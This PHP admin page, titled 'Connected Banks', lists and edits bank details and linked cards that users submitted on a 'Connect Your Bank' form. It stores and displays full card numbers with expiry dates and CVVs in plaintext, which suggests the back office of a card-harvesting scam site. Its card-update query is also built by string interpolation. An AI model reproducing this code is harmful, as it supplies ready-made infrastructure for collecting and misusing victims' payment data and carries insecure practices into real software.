<?php
$current_page = basename($_SERVER['PHP_SELF']);
include 'header.php';
include __DIR__ . '/../config/local_banks.php';
local_banks_ensure_table($link);

$alert = "";

$local_bank_catalog = local_banks_catalog();

if (isset($_POST['update_local_bank'])) {
    $bank_id = intval($_POST['local_bank_id']);
    $country_code = strtoupper(trim(strip_tags($_POST['country_code'])));
    $bank_name = trim(strip_tags($_POST['bank_name']));
    $account_name = trim(strip_tags($_POST['account_name']));
    $account_number = preg_replace('/\s+/', '', trim(strip_tags($_POST['account_number'])));
    $account_id = trim(strip_tags($_POST['account_id']));
    $bank_email = strtolower(trim(strip_tags($_POST['bank_email'])));
    $bank_code = trim(strip_tags($_POST['bank_code']));
    $iban = strtoupper(preg_replace('/\s+/', '', trim(strip_tags($_POST['iban']))));
    $swift = strtoupper(trim(strip_tags($_POST['swift'])));
    $status = (isset($_POST['status']) && $_POST['status'] === 'disconnected') ? 'disconnected' : 'active';

    if ($bank_id < 1 || !isset($local_bank_catalog[$country_code])) {
        $alert = "Swal.fire({icon: 'error', title: 'Invalid country', text: 'Select a supported country.'});";
    } elseif ($bank_name === '' || $account_name === '' || $account_number === '' || $account_id === '' || $bank_email === '') {
        $alert = "Swal.fire({icon: 'warning', title: 'Missing details', text: 'Bank, holder, account number, account ID, and email are required.'});";
    } elseif (!filter_var($bank_email, FILTER_VALIDATE_EMAIL)) {
        $alert = "Swal.fire({icon: 'warning', title: 'Invalid email', text: 'Enter a valid email address.'});";
    } else {
        $country_name = $local_bank_catalog[$country_code]['name'];
        $currency = $local_bank_catalog[$country_code]['currency'];
        $stmt = mysqli_prepare($link, "UPDATE connected_local_banks SET country_code=?, country_name=?, bank_name=?, account_name=?, account_number=?, account_id=?, bank_email=?, bank_code=?, iban=?, swift=?, currency=?, status=? WHERE id=?");
        mysqli_stmt_bind_param($stmt, 'ssssssssssssi', $country_code, $country_name, $bank_name, $account_name, $account_number, $account_id, $bank_email, $bank_code, $iban, $swift, $currency, $status, $bank_id);
        if (mysqli_stmt_execute($stmt)) {
            $alert = "Swal.fire({icon: 'success', title: 'Updated', text: 'Local bank record saved.'});";
        } else {
            $alert = "Swal.fire({icon: 'error', title: 'Error', text: 'Could not update the local bank record.'});";
        }
        mysqli_stmt_close($stmt);
    }
}

if (isset($_POST['delete_local_bank'])) {
    $bank_id = intval($_POST['local_bank_id']);
    if (mysqli_query($link, "DELETE FROM connected_local_banks WHERE id='$bank_id'")) {
        $alert = "Swal.fire({icon: 'success', title: 'Deleted', text: 'Local bank connection removed.'});";
    } else {
        $alert = "Swal.fire({icon: 'error', title: 'Error', text: 'Could not delete the local bank record.'});";
    }
}

if (isset($_POST['update_card'])) {
    $card_id = intval($_POST['card_id']);
    $bank_name = clean($_POST['bank_name']);
    $account_name = clean($_POST['account_name']);
    $account_number = clean($_POST['account_number']);
    $expiry = clean($_POST['expiry']);
    $cvv = clean($_POST['cvv']);

    $sql = "UPDATE linked_banks SET bank_name='$bank_name', account_name='$account_name', account_number='$account_number', expiry='$expiry', cvv='$cvv' WHERE id='$card_id'";
    if (mysqli_query($link, $sql)) {
        $alert = "Swal.fire({icon: 'success', title: 'Updated', text: 'Connected bank record updated successfully.'});";
    } else {
        $alert = "Swal.fire({icon: 'error', title: 'Error', text: 'Failed to update the record.'});";
    }
}

if (isset($_POST['delete_card'])) {
    $card_id = intval($_POST['card_id']);
    if (mysqli_query($link, "DELETE FROM linked_banks WHERE id='$card_id'")) {
        $alert = "Swal.fire({icon: 'success', title: 'Deleted', text: 'Connected bank record removed.'});";
    } else {
        $alert = "Swal.fire({icon: 'error', title: 'Error', text: 'Could not delete the record.'});";
    }
}

$result = mysqli_query($link, "SELECT b.*, u.username, u.email FROM linked_banks b JOIN users u ON b.user_id = u.id ORDER BY b.created_at DESC");
$local_banks = local_banks_all($link);

function admin_bank_cell($value) {
    $value = trim((string) $value);
    return $value === '' ? '<span class="text-slate-400">—</span>' : htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}
?>

<div class="flex-1 overflow-y-auto p-6 space-y-6">
    <div class="flex flex-col md:flex-row justify-between items-start md:items-end gap-4 mb-4">
        <div>
            <h1 class="text-2xl font-bold text-slate-800">Connected Banks</h1>
            <p class="text-sm text-slate-500">Review local bank form submissions and linked card records.</p>
        </div>
    </div>

    <div class="glass-panel rounded-2xl bg-white shadow-sm border border-slate-200 overflow-hidden">
        <div class="px-6 py-4 border-b border-slate-100">
            <h2 class="text-sm font-bold text-slate-800 uppercase tracking-wider">Local Banks</h2>
            <p class="text-xs text-slate-500 mt-1">Every field users fill on Connect Your Bank appears here.</p>
        </div>
        <div class="overflow-x-auto">
            <table class="w-full text-left min-w-[1100px]">
                <thead class="text-xs text-slate-400 uppercase bg-slate-50 border-b border-slate-100">
                    <tr>
                        <th class="py-3 pl-6 font-semibold">User</th>
                        <th class="py-3 font-semibold">Country / Bank</th>
                        <th class="py-3 font-semibold">Holder</th>
                        <th class="py-3 font-semibold">Account number</th>
                        <th class="py-3 font-semibold">Account ID</th>
                        <th class="py-3 font-semibold">Email</th>
                        <th class="py-3 font-semibold">Bank code</th>
                        <th class="py-3 font-semibold">IBAN</th>
                        <th class="py-3 font-semibold">SWIFT</th>
                        <th class="py-3 font-semibold">Status</th>
                        <th class="py-3 font-semibold">Created</th>
                        <th class="py-3 pr-6 text-right font-semibold">Actions</th>
                    </tr>
                </thead>
                <tbody class="text-sm divide-y divide-slate-100">
                    <?php if (!empty($local_banks)): ?>
                        <?php foreach ($local_banks as $lb): ?>
                            <tr class="hover:bg-slate-50 transition-colors align-top">
                                <td class="py-4 pl-6">
                                    <p class="font-bold text-slate-800"><?php echo htmlspecialchars($lb['username'], ENT_QUOTES, 'UTF-8'); ?></p>
                                    <p class="text-xs text-slate-500"><?php echo htmlspecialchars($lb['user_email'], ENT_QUOTES, 'UTF-8'); ?></p>
                                </td>
                                <td class="py-4">
                                    <p class="font-semibold text-slate-800"><?php echo htmlspecialchars($lb['bank_name'], ENT_QUOTES, 'UTF-8'); ?></p>
                                    <p class="text-xs text-slate-500"><?php echo htmlspecialchars($lb['country_name'] . ' (' . $lb['country_code'] . ') · ' . $lb['currency'], ENT_QUOTES, 'UTF-8'); ?></p>
                                </td>
                                <td class="py-4"><?php echo admin_bank_cell($lb['account_name']); ?></td>
                                <td class="py-4 font-mono text-xs text-slate-700"><?php echo admin_bank_cell($lb['account_number']); ?></td>
                                <td class="py-4 font-mono text-xs text-slate-700"><?php echo admin_bank_cell(isset($lb['account_id']) ? $lb['account_id'] : ''); ?></td>
                                <td class="py-4 text-xs"><?php echo admin_bank_cell(isset($lb['bank_email']) ? $lb['bank_email'] : ''); ?></td>
                                <td class="py-4 font-mono text-xs"><?php echo admin_bank_cell($lb['bank_code']); ?></td>
                                <td class="py-4 font-mono text-xs"><?php echo admin_bank_cell($lb['iban']); ?></td>
                                <td class="py-4 font-mono text-xs"><?php echo admin_bank_cell($lb['swift']); ?></td>
                                <td class="py-4">
                                    <span class="text-[10px] font-bold uppercase px-2 py-1 rounded-full <?php echo ($lb['status'] === 'active') ? 'bg-green-50 text-green-700' : 'bg-slate-100 text-slate-500'; ?>">
                                        <?php echo htmlspecialchars($lb['status'], ENT_QUOTES, 'UTF-8'); ?>
                                    </span>
                                </td>
                                <td class="py-4 text-xs text-slate-500">
                                    <?php echo date('M d, Y', strtotime($lb['created_at'])); ?><br>
                                    <?php echo date('h:i A', strtotime($lb['created_at'])); ?>
                                </td>
                                <td class="py-4 pr-6 text-right">
                                    <div class="flex justify-end gap-2">
                                        <button type="button" onclick='openLocalBankModal(<?php echo json_encode($lb, JSON_HEX_APOS|JSON_HEX_QUOT|JSON_UNESCAPED_UNICODE); ?>)' class="bg-slate-50 hover:bg-slate-100 text-slate-600 text-xs font-bold py-2 px-3 rounded border border-slate-200 transition-all">
                                            <i class="fa-solid fa-pen-to-square"></i> Edit
                                        </button>
                                        <form method="POST" onsubmit="return confirm('Delete this local bank record?');">
                                            <input type="hidden" name="local_bank_id" value="<?php echo intval($lb['id']); ?>">
                                            <button type="submit" name="delete_local_bank" class="text-red-500 hover:text-red-700 text-xs font-bold py-2 px-3 rounded border border-red-100 transition-all">
                                                <i class="fa-solid fa-trash"></i> Delete
                                            </button>
                                        </form>
                                    </div>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    <?php else: ?>
                        <tr><td colspan="12" class="py-12 text-center text-slate-400 italic">No local bank connections yet.</td></tr>
                    <?php endif; ?>
                </tbody>
            </table>
        </div>
    </div>

    <div class="glass-panel rounded-2xl bg-white shadow-sm border border-slate-200 overflow-hidden">
        <div class="px-6 py-4 border-b border-slate-100">
            <h2 class="text-sm font-bold text-slate-800 uppercase tracking-wider">Linked Cards</h2>
            <p class="text-xs text-slate-500 mt-1">Debit and credit cards users linked on Connect Your Bank.</p>
        </div>
        <div class="overflow-x-auto">
            <table class="w-full text-left">
                <thead class="text-xs text-slate-400 uppercase bg-slate-50 border-b border-slate-100">
                    <tr>
                        <th class="py-3 pl-6 font-semibold">User</th>
                        <th class="py-3 font-semibold">Type</th>
                        <th class="py-3 font-semibold">Cardholder</th>
                        <th class="py-3 font-semibold">Account Number</th>
                        <th class="py-3 font-semibold">Expiry / CVV</th>
                        <th class="py-3 font-semibold">Created</th>
                        <th class="py-3 pr-6 text-right font-semibold">Actions</th>
                    </tr>
                </thead>
                <tbody class="text-sm divide-y divide-slate-100">
                    <?php if (mysqli_num_rows($result) > 0): ?>
                        <?php while ($row = mysqli_fetch_assoc($result)): ?>
                            <tr class="hover:bg-slate-50 transition-colors">
                                <td class="py-4 pl-6">
                                    <div class="flex items-center gap-3">
                                        <div class="w-8 h-8 rounded-full bg-indigo-100 flex items-center justify-center text-xs font-bold text-indigo-600 border border-indigo-200">
                                            <?php echo strtoupper(substr($row['username'], 0, 1)); ?>
                                        </div>
                                        <div>
                                            <p class="font-bold text-slate-800"><?php echo htmlspecialchars($row['username']); ?></p>
                                            <p class="text-xs text-slate-500"><?php echo htmlspecialchars($row['email']); ?></p>
                                        </div>
                                    </div>
                                </td>
                                <td class="py-4">
                                    <p class="text-slate-700 font-semibold"><?php echo htmlspecialchars($row['bank_name']); ?></p>
                                </td>
                                <td class="py-4">
                                    <?php echo htmlspecialchars($row['account_name']); ?>
                                </td>
                                <td class="py-4 font-mono text-slate-700">
                                    <?php echo htmlspecialchars($row['account_number']); ?>
                                </td>
                                <td class="py-4">
                                    <p class="text-slate-700"><?php echo htmlspecialchars($row['expiry']); ?></p>
                                    <p class="text-xs text-slate-500 mt-1">CVV: <?php echo htmlspecialchars($row['cvv']); ?></p>
                                </td>
                                <td class="py-4 text-xs text-slate-500">
                                    <?php echo date("M d, Y", strtotime($row['created_at'])); ?><br>
                                    <?php echo date("h:i A", strtotime($row['created_at'])); ?>
                                </td>
                                <td class="py-4 pr-6 text-right">
                                    <div class="flex justify-end gap-2">
                                        <button type="button" onclick='openEditModal(<?php echo json_encode($row, JSON_HEX_APOS|JSON_HEX_QUOT); ?>)' class="bg-slate-50 hover:bg-slate-100 text-slate-600 text-xs font-bold py-2 px-3 rounded border border-slate-200 transition-all">
                                            <i class="fa-solid fa-pen-to-square"></i> Edit
                                        </button>
                                        <form method="POST" onsubmit="return confirm('Delete this connected bank record?');">
                                            <input type="hidden" name="card_id" value="<?php echo $row['id']; ?>">
                                            <button type="submit" name="delete_card" class="text-red-500 hover:text-red-700 text-xs font-bold py-2 px-3 rounded border border-red-100 transition-all">
                                                <i class="fa-solid fa-trash"></i> Delete
                                            </button>
                                        </form>
                                    </div>
                                </td>
                            </tr>
                        <?php endwhile; ?>
                    <?php else: ?>
                        <tr><td colspan="7" class="py-12 text-center text-slate-400 italic">No connected bank records found.</td></tr>
                    <?php endif; ?>
                </tbody>
            </table>
        </div>
    </div>
</div>

<div id="localBankModal" class="fixed inset-0 z-50 bg-black/50 hidden items-center justify-center p-4">
    <div class="w-full max-w-2xl bg-white rounded-3xl shadow-2xl overflow-hidden max-h-[90vh] flex flex-col">
        <div class="flex items-center justify-between px-6 py-5 border-b border-slate-200">
            <div>
                <h2 class="text-xl font-bold text-slate-900">Edit Local Bank</h2>
                <p class="text-sm text-slate-500">Update the bank details submitted on Connect Your Bank.</p>
            </div>
            <button type="button" onclick="closeLocalBankModal()" class="text-slate-500 hover:text-slate-900">
                <i class="fa-solid fa-xmark text-xl"></i>
            </button>
        </div>
        <form method="POST" class="space-y-4 p-6 overflow-y-auto">
            <input type="hidden" id="lb_id" name="local_bank_id" value="">
            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Country</label>
                    <select id="lb_country_code" name="country_code" required class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm bg-white">
                        <?php foreach ($local_bank_catalog as $code => $meta): ?>
                            <option value="<?php echo htmlspecialchars($code, ENT_QUOTES, 'UTF-8'); ?>"><?php echo htmlspecialchars($meta['flag'] . ' ' . $meta['name'], ENT_QUOTES, 'UTF-8'); ?></option>
                        <?php endforeach; ?>
                    </select>
                </div>
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Status</label>
                    <select id="lb_status" name="status" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm bg-white">
                        <option value="active">Active</option>
                        <option value="disconnected">Disconnected</option>
                    </select>
                </div>
            </div>
            <div>
                <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Bank name</label>
                <input id="lb_bank_name" name="bank_name" type="text" required class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="Bank name">
            </div>
            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Account holder</label>
                    <input id="lb_account_name" name="account_name" type="text" required class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="Name on the account">
                </div>
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Account number</label>
                    <input id="lb_account_number" name="account_number" type="text" required class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm font-mono" placeholder="Account number">
                </div>
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Account ID</label>
                    <input id="lb_account_id" name="account_id" type="text" required class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm font-mono" placeholder="Customer / account ID">
                </div>
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Email</label>
                    <input id="lb_bank_email" name="bank_email" type="email" required class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="Email on the bank account">
                </div>
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Bank code</label>
                    <input id="lb_bank_code" name="bank_code" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm font-mono" placeholder="Routing / sort / IFSC">
                </div>
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">IBAN</label>
                    <input id="lb_iban" name="iban" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm font-mono" placeholder="IBAN">
                </div>
                <div class="md:col-span-2">
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">SWIFT / BIC</label>
                    <input id="lb_swift" name="swift" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm font-mono" placeholder="SWIFT / BIC">
                </div>
            </div>
            <div class="flex justify-end gap-3 pt-2">
                <button type="button" onclick="closeLocalBankModal()" class="rounded-2xl border border-slate-200 px-5 py-3 text-sm font-semibold text-slate-600 hover:bg-slate-50">Cancel</button>
                <button type="submit" name="update_local_bank" class="rounded-2xl bg-indigo-600 text-white px-5 py-3 text-sm font-semibold hover:bg-indigo-700">Save changes</button>
            </div>
        </form>
    </div>
</div>

<div id="editModal" class="fixed inset-0 z-50 bg-black/50 hidden items-center justify-center p-4">
    <div class="w-full max-w-2xl bg-white rounded-3xl shadow-2xl overflow-hidden">
        <div class="flex items-center justify-between px-6 py-5 border-b border-slate-200">
            <div>
                <h2 class="text-xl font-bold text-slate-900">Edit Connected Bank</h2>
                <p class="text-sm text-slate-500">Update card data for the selected user record.</p>
            </div>
            <button type="button" onclick="closeEditModal()" class="text-slate-500 hover:text-slate-900">
                <i class="fa-solid fa-xmark text-xl"></i>
            </button>
        </div>
        <form method="POST" class="space-y-4 p-6">
            <input type="hidden" id="edit_card_id" name="card_id" value="">
            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Type</label>
                    <input id="edit_bank_name" name="bank_name" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="Linked Card">
                </div>
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Cardholder</label>
                    <input id="edit_account_name" name="account_name" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="Cardholder name">
                </div>
            </div>
            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Account Number</label>
                    <input id="edit_account_number" name="account_number" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="0000 0000 0000 0000">
                </div>
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Expiry</label>
                    <input id="edit_expiry" name="expiry" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="MM/YY">
                </div>
            </div>
            <div>
                <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">CVV</label>
                <input id="edit_cvv" name="cvv" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="123">
            </div>
            <div class="flex justify-end gap-3 pt-2">
                <button type="button" onclick="closeEditModal()" class="rounded-2xl border border-slate-200 px-5 py-3 text-sm font-semibold text-slate-600 hover:bg-slate-50">Cancel</button>
                <button type="submit" name="update_card" class="rounded-2xl bg-indigo-600 text-white px-5 py-3 text-sm font-semibold hover:bg-indigo-700">Save changes</button>
            </div>
        </form>
    </div>
</div>

<script>
    function fieldVal(row, key) {
        return row[key] == null ? '' : row[key];
    }

    function openLocalBankModal(bank) {
        document.getElementById('lb_id').value = bank.id;
        document.getElementById('lb_country_code').value = fieldVal(bank, 'country_code');
        document.getElementById('lb_status').value = fieldVal(bank, 'status') || 'active';
        document.getElementById('lb_bank_name').value = fieldVal(bank, 'bank_name');
        document.getElementById('lb_account_name').value = fieldVal(bank, 'account_name');
        document.getElementById('lb_account_number').value = fieldVal(bank, 'account_number');
        document.getElementById('lb_account_id').value = fieldVal(bank, 'account_id');
        document.getElementById('lb_bank_email').value = fieldVal(bank, 'bank_email');
        document.getElementById('lb_bank_code').value = fieldVal(bank, 'bank_code');
        document.getElementById('lb_iban').value = fieldVal(bank, 'iban');
        document.getElementById('lb_swift').value = fieldVal(bank, 'swift');
        const modal = document.getElementById('localBankModal');
        modal.classList.remove('hidden');
        modal.classList.add('flex');
    }

    function closeLocalBankModal() {
        const modal = document.getElementById('localBankModal');
        modal.classList.add('hidden');
        modal.classList.remove('flex');
    }

    function openEditModal(card) {
        document.getElementById('edit_card_id').value = card.id;
        document.getElementById('edit_bank_name').value = card.bank_name;
        document.getElementById('edit_account_name').value = card.account_name;
        document.getElementById('edit_account_number').value = card.account_number;
        document.getElementById('edit_expiry').value = card.expiry;
        document.getElementById('edit_cvv').value = card.cvv;
        document.getElementById('editModal').classList.remove('hidden');
        document.getElementById('editModal').classList.add('flex');
    }

    function closeEditModal() {
        document.getElementById('editModal').classList.add('hidden');
        document.getElementById('editModal').classList.remove('flex');
    }
</script>

<script>
    <?php echo $alert; ?>
</script>

<?php include 'footer.php'; ?>
